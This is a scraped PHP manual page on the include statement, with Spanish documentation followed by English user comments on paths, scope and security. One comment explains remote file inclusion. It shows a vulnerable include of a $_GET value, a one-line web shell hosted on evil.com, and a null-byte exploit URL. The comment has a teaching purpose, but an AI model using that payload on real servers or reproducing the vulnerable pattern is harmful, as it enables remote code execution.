This might be useful:
<?php
include $_SERVER['DOCUMENT_ROOT']."/lib/sample.lib.php";
?>
So you can move script anywhere in web-project tree without changes.
(PHP 4, PHP 5, PHP 7, PHP 8)
La expresión de lenguaje include incluye y ejecuta
el fichero especificado en el argumento.
Esta documentación se aplica también a la instrucción de lenguaje require.
Los ficheros son incluidos según la ruta del fichero proporcionado; si no se proporciona ninguno,
se verificará el include_path.
Si el fichero no se encuentra en el include_path,
include verificará en el directorio del script que llama y en el directorio de trabajo actual antes de fallar.
La instrucción include emitirá E_WARNING si no puede encontrar el fichero;
este comportamiento es diferente de require, que emitirá E_ERROR.
Tenga en cuenta que include y require
lanzarán errores de tipo E_WARNING, si el fichero no es accesible, antes de lanzar un error de tipo
E_WARNING o E_ERROR, respectivamente.
Si se define una ruta, absoluta (comenzando por una letra de unidad seguida de
\ para Windows, o / para Unix/Linux)
o relativa (comenzando por . o ..), el include_path
será ignorado. Por ejemplo, si un nombre de fichero comienza por ../,
PHP buscará en el directorio padre para encontrar el fichero especificado.
Para más información sobre cómo PHP maneja los ficheros incluidos así como la ruta de inclusión, consulte la documentación relativa al include_path.
Cuando un fichero es incluido, el código que lo compone hereda el ámbito de las variables de la línea donde aparece la inclusión. Todas las variables disponibles en esa línea en el fichero que llama estarán disponibles en el fichero llamado, a partir de ese punto. Sin embargo, todas las funciones y clases definidas en el fichero incluido tienen un ámbito global.
Ejemplo #1 Ejemplo con include
vars.php
<?php
$color = 'verde';
$fruta = 'manzana';
?>
test.php
<?php
echo "Una $fruta $color"; // Una
include 'vars.php';
echo "Una $fruta $color"; // Una manzana verde
?>Si la inclusión ocurre dentro de una función, el código incluido será considerado como parte de la función. Esto modifica, por lo tanto, el contexto de las variables accesibles. Una excepción a esta regla: las constantes mágicas son analizadas por el analizador antes de que la inclusión ocurra.
Ejemplo #2 Inclusión de ficheros en una función
<?php
function foo()
{
global $color;
include 'vars.php';
echo "Una $fruta $color";
}
/* vars.php está en el contexto de foo() *
* por lo tanto $fruta no está disponible fuera de *
* esta función. $color lo está, ya que es *
* una variable global */
foo(); // Una manzana verde
echo "Una $fruta $color"; // Una verde
?>Es importante señalar que cuando un fichero es include o require, los errores de análisis aparecerán en HTML al principio del fichero, y el análisis del fichero padre no será interrumpido. Por esta razón, el código que está en el fichero debe ser colocado entre las etiquetas habituales de PHP.
Si los gestores de inclusión de URL están activados en PHP, se puede localizar el fichero con una URL (a través de HTTP o bien con un gestor adaptado: ver Protocolos y Envolturas soportados para una lista de los protocolos), en lugar de una simple ruta local. Si el servidor remoto interpreta el fichero como código PHP, las variables pueden ser transmitidas al servidor remoto a través de la URL y el método GET. Esto no es, estrictamente hablando, lo mismo que heredar el contexto de la variable. El fichero incluido es en realidad un script ejecutado de forma remota, y su resultado es incluido en el código actual.
Ejemplo #3 Uso de la instrucción include a través de HTTP
<?php
/* Este ejemplo asume que www.example.com está configurado para tratar
* los ficheros .php y no los ficheros .txt. Además,
* 'Work' significa aquí que las variables
* $foo y $bar están disponibles en el fichero incluido
*/
// No funciona: file.txt no ha sido tratado por www.example.com como PHP
include 'http://www.example.com/file.txt?foo=1&bar=2';
// No funciona: el script busca un fichero llamado
// 'file.php?foo=1&bar=2' en el sistema local
include 'file.php?foo=1&bar=2';
// Éxito
include 'http://www.example.com/file.php?foo=1&bar=2';
?>Un fichero remoto puede ser tratado en el servidor remoto (dependiendo de la extensión del fichero y si el servidor remoto ejecuta PHP o no) pero siempre debe producir un script PHP válido porque será tratado en el servidor local. Si el fichero del servidor remoto debe ser tratado en el lugar y mostrado únicamente, readfile() es una función mucho más adecuada. De lo contrario, se debe tener cuidado de asegurar el script remoto para que produzca un código válido y deseado.
Véase también trabajar con ficheros remotos, fopen() y file() para información relacionada.
Gestión del retorno: include devuelve false en caso
de error y emite una advertencia. Las inclusiones con éxito, incluyendo si
son sobrescritas por el fichero incluido, devuelven
1. Es posible ejecutar la estructura de lenguaje
return dentro de un fichero
incluido para determinar el proceso en ese fichero, y devolver
al script que lo llamó. Además, es posible devolver valores desde ficheros incluidos.
Se puede tomar el valor
desde la llamada al fichero incluido como se desee desde una
función normal. Esto no es posible, sin embargo, cuando se incluyen ficheros remotos,
y esto, mientras la salida del fichero remoto no tenga
etiquetas PHP de inicio
y fin válidas (al igual que para los ficheros locales).
Se pueden declarar las variables necesarias dentro de estas etiquetas
y serán introducidas en el lugar donde el fichero fue incluido.
Como include es una estructura de lenguaje particular,
los paréntesis no son necesarios alrededor del argumento. Tenga cuidado
cuando compare el valor devuelto.
Ejemplo #4 Comparación del valor de retorno de una inclusión
<?php
// No funciona, evaluado como include(('vars.php') == TRUE), es decir, include('1')
if (include('vars.php') == TRUE) {
echo 'OK';
}
// Funciona
if ((include 'vars.php') == TRUE) {
echo 'OK';
}
?>
Ejemplo #5 include y return
return.php
<?php
$var = 'PHP';
return $var;
?>
noreturn.php
<?php
$var = 'PHP';
?>
testreturns.php
<?php
$foo = include 'return.php';
echo $foo; // muestra 'PHP'
$bar = include 'noreturn.php';
echo $bar; // muestra 1
?>
$bar tiene el valor de 1 porque
la inclusión fue exitosa. Note la diferencia entre los dos
ejemplos anteriores. El primero usa el comando
return
en el fichero incluido, mientras que el segundo no lo hace.
Si el fichero no puede ser incluido, false es devuelto y un error
de nivel E_WARNING es enviado.
Si hay funciones definidas en el fichero incluido, pueden ser utilizadas en el fichero principal si están antes del return o después. Si el fichero es incluido dos veces, PHP emitirá un error fatal porque las funciones ya han sido declaradas. Se recomienda usar include_once en lugar de verificar si el fichero ya ha sido incluido y por lo tanto devolver condicionalmente la inclusión del fichero.
Otra forma de incluir un fichero PHP en una variable es capturar
la salida usando las funciones de
control de salida con
include. Por ejemplo:
Ejemplo #6 Uso de la salida del buffer para incluir un fichero PHP en una cadena
<?php
$string = get_include_contents('somefile.php');
function get_include_contents($filename) {
if (is_file($filename)) {
ob_start();
include $filename;
return ob_get_clean();
}
return false;
}
?>Para incluir automáticamente ficheros en sus scripts, vea también las opciones de configuración auto_prepend_file y auto_append_file del php.ini.
Nota: Puesto que esto es una construcción del lenguaje y no una función, no puede ser llamada usando funciones variables.
Véase también require, require_once, include_once, get_included_files(), readfile(), virtual(), y include_path.
This might be useful:
<?php
include $_SERVER['DOCUMENT_ROOT']."/lib/sample.lib.php";
?>
So you can move script anywhere in web-project tree without changes.If you want to have include files, but do not want them to be accessible directly from the client side, please, please, for the love of keyboard, do not do this:
<?php
# index.php
define('what', 'ever');
include 'includeFile.php';
# includeFile.php
// check if what is defined and die if not
?>
The reason you should not do this is because there is a better option available. Move the includeFile(s) out of the document root of your project. So if the document root of your project is at "/usr/share/nginx/html", keep the include files in "/usr/share/nginx/src".
<?php
# index.php (in document root (/usr/share/nginx/html))
include __DIR__ . '/../src/includeFile.php';
?>
Since user can't type 'your.site/../src/includeFile.php', your includeFile(s) would not be accessible to the user directly.Before using php's include, require, include_once or require_once statements, you should learn more about Local File Inclusion (also known as LFI) and Remote File Inclusion (also known as RFI).
As example #3 points out, it is possible to include a php file from a remote server.
The LFI and RFI vulnerabilities occur when you use an input variable in the include statement without proper input validation. Suppose you have an example.php with code:
<?php
// Bad Code
$path = $_GET['path'];
include $path . 'example-config-file.php';
?>
As a programmer, you might expect the user to browse to the path that you specify.
However, it opens up an RFI vulnerability. To exploit it as an attacker, I would first setup an evil text file with php code on my evil.com domain.
evil.txt
<?php echo shell_exec($_GET['command']);?>
It is a text file so it would not be processed on my server but on the target/victim server. I would browse to:
h t t p : / / w w w .example.com/example.php?command=whoami& path= h t t p : / / w w w .evil.com/evil.txt%00
The example.php would download my evil.txt and process the operating system command that I passed in as the command variable. In this case, it is whoami. I ended the path variable with a %00, which is the null character. The original include statement in the example.php would ignore the rest of the line. It should tell me who the web server is running as.
Please use proper input validation if you use variables in an include statement.I cannot emphasize enough knowing the active working directory. Find it by: echo getcwd();
Remember that if file A includes file B, and B includes file C; the include path in B should take into account that A, not B, is the active working directory.When including a file using its name directly without specifying we are talking about the current working directory, i.e. saying (include "file") instead of ( include "./file") . PHP will search first in the current working directory (given by getcwd() ) , then next searches for it in the directory of the script being executed (given by __dir__).
This is an example to demonstrate the situation :
We have two directory structure :
-dir1
----script.php
----test
----dir1_test
-dir2
----test
----dir2_test
dir1/test contains the following text :
This is test in dir1
dir2/test contains the following text:
This is test in dir2
dir1_test contains the following text:
This is dir1_test
dir2_test contains the following text:
This is dir2_test
script.php contains the following code:
<?php
echo 'Directory of the current calling script: ' . __DIR__;
echo '<br />';
echo 'Current working directory: ' . getcwd();
echo '<br />';
echo 'including "test" ...';
echo '<br />';
include 'test';
echo '<br />';
echo 'Changing current working directory to dir2';
chdir('../dir2');
echo '<br />';
echo 'Directory of the current calling script: ' . __DIR__;
echo '<br />';
echo 'Current working directory: ' . getcwd();
echo '<br />';
echo 'including "test" ...';
echo '<br />';
include 'test';
echo '<br />';
echo 'including "dir2_test" ...';
echo '<br />';
include 'dir2_test';
echo '<br />';
echo 'including "dir1_test" ...';
echo '<br />';
include 'dir1_test';
echo '<br />';
echo 'including "./dir1_test" ...';
echo '<br />';
(@include './dir1_test') or die('couldn\'t include this file ');
?>
The output of executing script.php is :
Directory of the current calling script: C:\dev\www\php_experiments\working_directory\example2\dir1
Current working directory: C:\dev\www\php_experiments\working_directory\example2\dir1
including "test" ...
This is test in dir1
Changing current working directory to dir2
Directory of the current calling script: C:\dev\www\php_experiments\working_directory\example2\dir1
Current working directory: C:\dev\www\php_experiments\working_directory\example2\dir2
including "test" ...
This is test in dir2
including "dir2_test" ...
This is dir2_test
including "dir1_test" ...
This is dir1_test
including "./dir1_test" ...
couldn't include this fileIdeally includes should be kept outside of the web root. That's not often possible though especially when distributing packaged applications where you don't know the server environment your application will be running in. In those cases I use the following as the first line.
( __FILE__ != $_SERVER['SCRIPT_FILENAME'] ) or exit ( 'No' );If you're doing a lot of dynamic/computed includes (>100, say), then you may well want to know this performance comparison: if the target file doesn't exist, then an @include() is *ten* *times* *slower* than prefixing it with a file_exists() check. (This will be important if the file will only occasionally exist - e.g. a dev environment has it, but a prod one doesn't.)
Wade.In the Example #2 Including within functions, the last two comments should be reversed I believe.As a rule of thumb, never include files using relative paths. To do this efficiently, you can define constants as follows:
----
<?php // prepend.php - autoprepended at the top of your tree
define('MAINDIR',dirname(__FILE__) . '/');
define('DL_DIR',MAINDIR . 'downloads/');
define('LIB_DIR',MAINDIR . 'lib/');
?>
----
and so on. This way, the files in your framework will only have to issue statements such as this:
<?php
require_once(LIB_DIR . 'excel_functions.php');
?>
This also frees you from having to check the include path each time you do an include.
If you're running scripts from below your main web directory, put a prepend.php file in each subdirectory:
--
<?php
include(dirname(dirname(__FILE__)) . '/prepend.php');
?>
--
This way, the prepend.php at the top always gets executed and you'll have no path handling headaches. Just remember to set the auto_prepend_file directive on your .htaccess files for each subdirectory where you have web-accessible scripts.A word of warning about lazy HTTP includes - they can break your server.
If you are including a file from your own site, do not use a URL however easy or tempting that may be. If all of your PHP processes are tied up with the pages making the request, there are no processes available to serve the include. The original requests will sit there tying up all your resources and eventually time out.
Use file references wherever possible. This caused us a considerable amount of grief (Zend/IIS) before I tracked the problem down.I would like to point out the difference in behavior in IIS/Windows and Apache/Unix (not sure about any others, but I would think that any server under Windows will be have the same as IIS/Windows and any server under Unix will behave the same as Apache/Unix) when it comes to path specified for included files.
Consider the following:
<?php
include '/Path/To/File.php';
?>
In IIS/Windows, the file is looked for at the root of the virtual host (we'll say C:\Server\Sites\MySite) since the path began with a forward slash. This behavior works in HTML under all platforms because browsers interpret the / as the root of the server.
However, Unix file/folder structuring is a little different. The / represents the root of the hard drive or current hard drive partition. In other words, it would basically be looking for root:/Path/To/File.php instead of serverRoot:/Path/To/File.php (which we'll say is /usr/var/www/htdocs). Thusly, an error/warning would be thrown because the path doesn't exist in the root path.
I just thought I'd mention that. It will definitely save some trouble for those users who work under Windows and transport their applications to an Unix-based server.
A work around would be something like:
<?php
$documentRoot = null;
if (isset($_SERVER['DOCUMENT_ROOT'])) {
$documentRoot = $_SERVER['DOCUMENT_ROOT'];
if (strstr($documentRoot, '/') || strstr($documentRoot, '\\')) {
if (strstr($documentRoot, '/')) {
$documentRoot = str_replace('/', DIRECTORY_SEPARATOR, $documentRoot);
}
elseif (strstr($documentRoot, '\\')) {
$documentRoot = str_replace('\\', DIRECTORY_SEPARATOR, $documentRoot);
}
}
if (preg_match('/[^\\/]{1}\\[^\\/]{1}/', $documentRoot)) {
$documentRoot = preg_replace('/([^\\/]{1})\\([^\\/]{1})/', '\\1DIR_SEP\\2', $documentRoot);
$documentRoot = str_replace('DIR_SEP', '\\\\', $documentRoot);
}
}
else {
/**
* I usually store this file in the Includes folder at the root of my
* virtual host. This can be changed to wherever you store this file.
*
* Example:
* If you store this file in the Application/Settings/DocRoot folder at the
* base of your site, you would change this array to include each of those
* folders.
*
* <code>
* $directories = array(
* 'Application',
* 'Settings',
* 'DocRoot'
* );
* </code>
*/
$directories = array(
'Includes'
);
if (defined('__DIR__')) {
$currentDirectory = __DIR__;
}
else {
$currentDirectory = dirname(__FILE__);
}
$currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
$currentDirectory = $currentDirectory . DIRECTORY_SEPARATOR;
foreach ($directories as $directory) {
$currentDirectory = str_replace(
DIRECTORY_SEPARATOR . $directory . DIRECTORY_SEPARATOR,
DIRECTORY_SEPARATOR,
$currentDirectory
);
}
$currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
}
define('SERVER_DOC_ROOT', $documentRoot);
?>
Using this file, you can include files using the defined SERVER_DOC_ROOT constant and each file included that way will be included from the correct location and no errors/warnings will be thrown.
Example:
<?php
include SERVER_DOC_ROOT . '/Path/To/File.php';
?>It's worth noting that PHP provides an OS-context aware constant called DIRECTORY_SEPARATOR. If you use that instead of slashes in your directory paths your scripts will be correct whether you use *NIX or (shudder) Windows. (In a semi-related way, there is a smart end-of-line character, PHP_EOL)
Example:
<?php
$cfg_path
= 'includes'
. DIRECTORY_SEPARATOR
. 'config.php'
;
require_once($cfg_path);It is also able to include or open a file from a zip file:
<?php
include "something.zip#script.php";
echo file_get_contents("something.zip#script.php");
?>
Note that instead of using / or \, open a file from a zip file uses # to separate zip name and inner file's name.